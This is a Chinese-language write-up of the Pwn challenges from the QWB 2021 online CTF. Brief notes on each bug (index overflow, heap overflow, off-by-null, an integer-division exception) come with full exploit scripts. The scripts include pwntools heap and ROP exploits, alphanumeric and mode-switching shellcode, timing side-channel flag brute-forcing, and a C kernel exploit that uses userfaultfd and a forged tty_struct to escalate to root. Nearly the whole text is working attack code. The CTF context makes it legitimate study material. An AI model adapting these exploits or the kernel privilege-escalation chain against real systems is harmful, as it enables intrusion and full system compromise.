[强网杯2021-线上赛] Pwn方向writeup
线上赛撞了四六级麻了hhh
ban完一堆队伍之后喜提线下hhh
orw
堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag
from pwn import *
#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
def add(idx:int, size:int, content):
p.sendlineafter(b"choice >>\n", b"1")
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendlineafter(b"size:\n", str(size).encode())
p.sendafter(b"content:\n", content)
def delete(idx:int):
p.sendlineafter(b"choice >>\n", b"4")
p.sendlineafter(b"index:\n", str(idx).encode())
def exp():
#gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n")
offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8
print("offset:", hex(offset))
shellcode_1 = '''
mov rsi, rdi;
xor rax, rax;
jmp $+0x1a;
'''
shellcode_1 = asm(shellcode_1)
shellcode_2 = '''
xor rdi, rdi;
mov edx, ecx;
syscall;
'''
shellcode_2 = asm(shellcode_2)
print("len(shellcode_1):", hex(len(shellcode_1)))
print(shellcode_1)
print("len(shellcode_2):", hex(len(shellcode_2)))
print(shellcode_2)
add(-offset, 8, shellcode_1)
add(0, 8, shellcode_2.ljust(8, b"\x90"))
delete(0)
orw = '''
push 0;
push 0x67616c66;
mov rdi, rsp;
mov rsi, 0;
mov rax, 2;
syscall;
mov rdi, rax;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 0;
syscall;
mov rdi, 0;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 1;
syscall;
'''
p.send(b"\x90"*0x10+asm(orw))
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
no_output
这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag
from pwn import *
import time
elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"
elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060
table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."
final_flag = b""
def exp(guess, c_idx):
global final_flag
global p
#p = process("./test")
p = remote("39.105.138.97", 1234)
# tell me some thing
p.send(b"a"*0x30)
# Tell me your name:\n
p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
# now give you the flag\n
# xxxx
# give me the soul:
p.sendline(b"-2147483648")
# give me the egg:
p.sendline(b"-1")
# handler stkof
#gdb.attach(p,"b *0x8049385\nc\n")
offset = 0x48 # to ebp
pop_edi_ebp_ret = 0x08049582
pop_esi_edi_ebp_ret = 0x08049581
pop_ebx_esi_edi_ebp_ret = 0x08049580
payload1 = b"a"*offset + p32(0xdeadbeef)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2)
payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0) # open(flag_name, 0)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2)
payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
p.send(payload1.ljust(0x100, b"\x00"))
#time.sleep(0.5)
p.send(b"flag\x00")
p.send(guess + b"\x00")
try:
p.recv(timeout=1)
final_flag += guess
print("Curr flag:", final_flag)
#pause()
p.close()
return True
except:
#print("Incorrect:", guess)
print("Curr flag:", final_flag)
p.close()
return False
if __name__ == "__main__":
for i in range(20, 40):
print("Round: ", i)
for c in table:
if exp(bytes([c]), i):
break
print("Curr flag:", final_flag)
#qwb{n0_1nput_1s_great!!!}
shellcode
模式切换shellcode,字符范围限制: (0x1f, 0x7f)
用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)
orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag
from pwn import *
import sys
import time
import threading
def exp(flag_idx:int):
#p = process("./shellcode")
p = remote("39.105.137.118", 50050)
#context.log_level = "debug"
context.arch = "amd64"
# build read
alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
payload = alpha_read
p.send(payload)
# read mmap shellcode
# mmap new shellcode area
time.sleep(0.2)
payload = b"\x90"*0x50
shellcode_mmap_raw = '''
mov rdi, 0x100000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0x200000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0
mov rsi, 0x100000
mov rdx, 0x1000
mov rax, 0;
syscall;
call rsi;
'''
payload += asm(shellcode_mmap_raw)
p.send(payload)
#gdb.attach(p, "b *0x100001\nc\n")
# read new shellcode
time.sleep(0.5)
shellcode_to_x86 = '''
push 0x23;
push 0x100020;
retfq;
'''
shellcode_open = '''
mov esp, 0x210000;
push 0;
push 0x67616c66;
mov ebx, esp;
mov rcx, 0;
mov eax, 5;
int 0x80;
'''
shellcode_to_x64 = '''
push 0x33;
push 0x100050;
retf;
'''
shellcode_read = '''
mov rdi, rax;
mov rsi, 0x100000;
mov rdx, 0x40;
mov rax, 0;
syscall;
nop;
'''
char_addr = 0x100000+flag_idx
shellcode_alarm = '''
xor rax, rax;
mov al, byte ptr [{}];
//mov al, 0x3;
mov rdi, rax;
mov rax, 37;
syscall;
HERE:
jmp HERE
'''
payload = asm(shellcode_to_x86)
payload = payload.ljust(0x20, b"\x90")
payload += asm(shellcode_open)
payload += asm(shellcode_to_x64)
payload = payload.ljust(0x50, b"\x90")
payload += asm(shellcode_read)
payload += asm(shellcode_alarm.format(hex(char_addr)))
p.send(payload)
print("WAITING IDX: ", flag_idx)
start = time.perf_counter()
try:
p.recv()
except:
print("ALARM!")
end = time.perf_counter()
pass_time = int(end-start)
flag[flag_idx] = pass_time
print(flag_idx, "May be char:", bytes([pass_time]))
p.close()
if __name__ == "__main__":
pool = []
flag = [0]*0x26
for i in range(0, 0x26):
t = threading.Thread(target=exp, args=(i,))
pool.append(t)
t.setDaemon(True)
sleep(1)
t.start()
for t in pool:
t.join()
print("FLAG:", bytes(flag))
#flag{cdc31bf52a72521c93b690ad1978856d}
pipeline
隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的
from pwn import *
#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"
def add():
p.sendlineafter(b">> ", b"1")
def edit(idx:int, size:int, offset:int):
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"offset: ", str(offset).encode())
p.sendlineafter(b"size: ", str(size).encode())
def delete(idx:int):
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"index: ", str(idx).encode())
def append(idx:int, size:int, data):
p.sendlineafter(b">> ", b"4")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"size: ", str(size).encode())
p.sendafter(b"data: ", data)
def show(idx:int):
p.sendlineafter(b">> ", b"5")
p.sendlineafter(b"index: ", str(idx).encode())
# 0x0000555555554000
# header: 0x0000555555554000+0x4058
def exp():
#gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n")
# leak libc
add() #0
edit(0, 0x420, 0)
add() #1 split
edit(0, 0, 0)
edit(0, 0x420, 0)
show(0)
p.recvuntil(b"data: ")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
# attack tcache
## get
add() #2
edit(2, 0x18, 0x17)
add() #3
edit(3, 0x20, 0)
add() #4
edit(4, 0x20, 0)
add() #5
edit(5, 0x20, 0)
## free
edit(5, 0, 0)
edit(4, 0, 0)
edit(3, 0, 0)
payload = b"a"+p64(0x21)
payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n"
append(2, -2147483408, payload)
append(3, 0x8, p64(system))
print("free_hook:", hex(free_hook))
edit(1, 0x8, 0)
append(1, 0x8, b"/bin/sh\n")
edit(1, 0, 0)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
babypwn
题出得有点莫名其妙,题目从堆块头遍历扫描\x11
字符替换成\x00
,遇到第一个\x00
停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hook
写setcontext+53
,借助setcontext+53
gadget调用mprotect给堆rwx后执行orw shellcode
from pwn import *
#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def unshiftleft(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res << shift) & mask)
return res
def unshiftright(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res >> shift) & mask)
return res
def dec(c):
for i in range(2):
c = unshiftleft(c , 13)
c = unshiftright(c ,17)
c = unshiftleft(c ,5)
return c
def add(size:int):
p.sendlineafter(b">>> \n", b"1")
p.sendlineafter(b"size:\n", str(size).encode())
def delete(idx:int):
p.sendlineafter(b">>> \n", b"2")
p.sendlineafter(b"index:\n", str(idx).encode())
def edit(idx:int, content):
p.sendlineafter(b">>> \n", b"3")
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendafter(b"content:\n", content)
def show(idx:int):
p.sendlineafter(b">>> \n", b"4")
p.sendlineafter(b"index:\n", str(idx).encode())
def exp():
# leak libc
for i in range(8):
add(0x80) # 0-7
add(0x20) # 8 split
for i in range(9,9+7):
add(0xf8) # 9-16
for i in range(8):
delete(i) # del 0-7
add(0x20) # 0
show(0)
libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
libc_leak_low = dec(libc_leak_low) & 0xffffffff
libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
libc_leak_high = dec(libc_leak_high) & 0xffffffff
libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
libc_base = libc_leak - 0x3ebd20
free_hook = libc_base + libc.symbols[b"__free_hook"]
setcontext = libc_base + libc.symbols[b"setcontext"]
mprotect = libc_base + libc.symbols[b"mprotect"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))
print("setcontext:", hex(setcontext))
# leak heap
add(0x80) # 1
show(1)
heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
heap_leak_low = dec(heap_leak_low) & 0xffffffff
heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
heap_leak_high = dec(heap_leak_high) & 0xffffffff
heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff
heap_base = heap_leak - 0x1240 + 0x2c0 # modify
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# build overlapping
add(0xf8) #2 chain
add(0xf8) #3 chain
add(0xf8) #4
add(0xf8) #5
add(0x100) #6
add(0x90) #7 split
## fill tcache
for i in range(9,9+7):
delete(i) # del 9-16
edit(5, b"a"*0xf8)
edit(5, b"a"*0xf0+p64(0x200))
edit(6, b"a"*0xf0+p64(0)+p64(0x21))
edit(7, p64(0)+p64(0x91))
target = heap_base+0x1d10-0x2c0 # modify
edit(4, b"\x00"*0xf0+p64(0x100))
edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))
delete(6)
# link to __free_hook
add(0xf8) # 6 remove from tcache
add(0x1f8) # 9
delete(5) # del 5
edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook))
add(0xf8) # 5 remote first of tcache
add(0xf8) # 10 free_hook
edit(10, p64(setcontext+53))
print("free_hook:", hex(free_hook))
# attack setcontext+53
#gdb.attach(p, "b free\nc\n")
prepare = heap_base + 0x20d0 - 0x2c0 # modify
add(0x200) # 11 prepare
frame = SigreturnFrame()
frame.rip = mprotect
frame.rdi = heap_base
frame.rsi = 0x20000
frame.rdx = 7
frame.rsp = prepare+0x100
payload = flat(list(frame.values())).ljust(0x100, b"\x00")
payload += p64(prepare+0x110)
payload = payload.ljust(0x110, b"\x90")
shellcode = '''
push 0;
//push 0x67616c66;
mov rax, 0x7478742e67616c66;
push rax;
mov rdi, rsp;
mov rsi, 0;
mov rax, 2;
syscall;
mov rdi, rax;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 0;
syscall;
mov rdi, 1;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 1;
syscall;
'''
payload += asm(shellcode)
print("length:", hex(len(payload)))
edit(11, payload)
delete(11)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
notebook
koo师傅和sad师傅打的,我在旁边加油hhh
exp.c
#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
char *addr; /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE;
//swapgs ;pop rbp ; ret
SWAPGS += kernel_base - RAW_KERNEL_BASE;
//0xffffffff810338bb: iretq; pop rbp; ret;
IRETQ += kernel_base - RAW_KERNEL_BASE;
swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE;
//commit_creds函数
COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
// prepare_kernel_cred
PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
//push rax ; pop rsp ; ret做栈迁移用
PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE;
PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE;
POP_RDI+= kernel_base - RAW_KERNEL_BASE;
POP_RSP+= kernel_base - RAW_KERNEL_BASE;
POP_RAX+= kernel_base - RAW_KERNEL_BASE;
MSLEEP += kernel_base - RAW_KERNEL_BASE;
MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}
void getShell() {
printf("%d\n",getuid());
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}
struct ARG{
long long idx;
long long size;
void * buf;
};
long long gift(int fd,int offset){
char buf[256];
struct ARG arg = {0,0,buf};
long long res=ioctl(fd, 100, &arg);
printf("gift return %d\n",res);
return *( long long*)(buf+offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
struct ARG arg = {idx,size,buf};
long long res=ioctl(fd, 0x100, &arg);
printf("add return %d\n",res);
return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
struct ARG arg = {idx,size,buf};
long long res=ioctl(fd, 0x300, &arg);
printf("edit return %d\n",res);
return res;
}
long long del(int fd,long long idx){
printf("in delete\n");
struct ARG arg = {idx,0,0};
long long res=ioctl(fd, 0x200, &arg);
return res;
}
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
puts("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
puts("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
puts("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
printf("write fault\n");
sleep(1);
} else {
printf("read fault\n");
char a[10]="sad";
edit(fd,0,0x600,a);
edit(fd,0,0x400,a);
fault_cnt++;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
printf("ioctl-UFFDIO_COPY");
}
/*
while(1){
printf("check uid %d\n",geteuid());
sleep(1);
}
*/
}
}
int main(){
saveUserState();
long uffd; /* userfaultfd file descriptor */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
page_size = sysconf(_SC_PAGE_SIZE);
len = 4 * page_size;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
puts("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
puts("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
puts("mmap");
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
puts("ioctl-UFFDIO_REGISTER");
/* Create a thread that will process the userfaultfd events */
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errno = s;
puts("pthread_create");
}
fd = open("/dev/notebook", 2);
char a[10]="sadaaaaa";
add(fd,0,0x20,a);
//add(fd,0,0,addr);
edit(fd,0,0x3ff,a);
edit(fd,0,0x400,addr);
for(int i =0 ;i<0x100;i++)
ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
size_t fake_tty_struct[128];
size_t fake_tty_operations[128];
printf("read size:%d\n",read(fd,fake_tty_struct,0));
long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440;
init_addr(kernel_addr);
add(fd,1,0x20,a);
edit(fd,1,0x20*8,a);
add(fd,2,0x50,a);
long long tty_operation_addr = gift(fd,2);
long long heap_addr = gift(fd,1);
size_t rop_addr = heap_addr;
fake_tty_struct[3] = tty_operation_addr;
fake_tty_struct[1] = SUB_RSP_RET;
fake_tty_struct[0x14] = POP_RSP;
fake_tty_struct[0x15] = rop_addr;
//fake_tty_struct[2] = rop_addr;
write(fd,fake_tty_struct,0);
printf("kernel heap addr: %p\n",heap_addr);
printf("kernel kernel addr: %p\n",kernel_addr);
//对tty_fd执行write,将触发这个gadget进行第一次转转移
fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
//栈再一次转移到rop数组里
size_t rop[0x20];
int i = 0;
/*rop同时关闭了smap、semp*/
rop[i++] = POP_RDI;
rop[i++] = 0;
rop[i++] = PREPARE_KERNEL_CRED;
rop[i++] = MOV_RDI_RAX_POP_RET;
rop[i++] = 0;
rop[i++] = COMMIT_CREDS;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)&getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;
printf("\ngetshell: %llx\n",(size_t)&getShell);
write(fd,rop,1);
write(fd,fake_tty_operations,2);
//getchar();
//write(fd,fake_tty_operations,0);
for(int i=0;i<0x100;i++){
write(ptmx_fds[i],a,0x10);
}
return 0;
}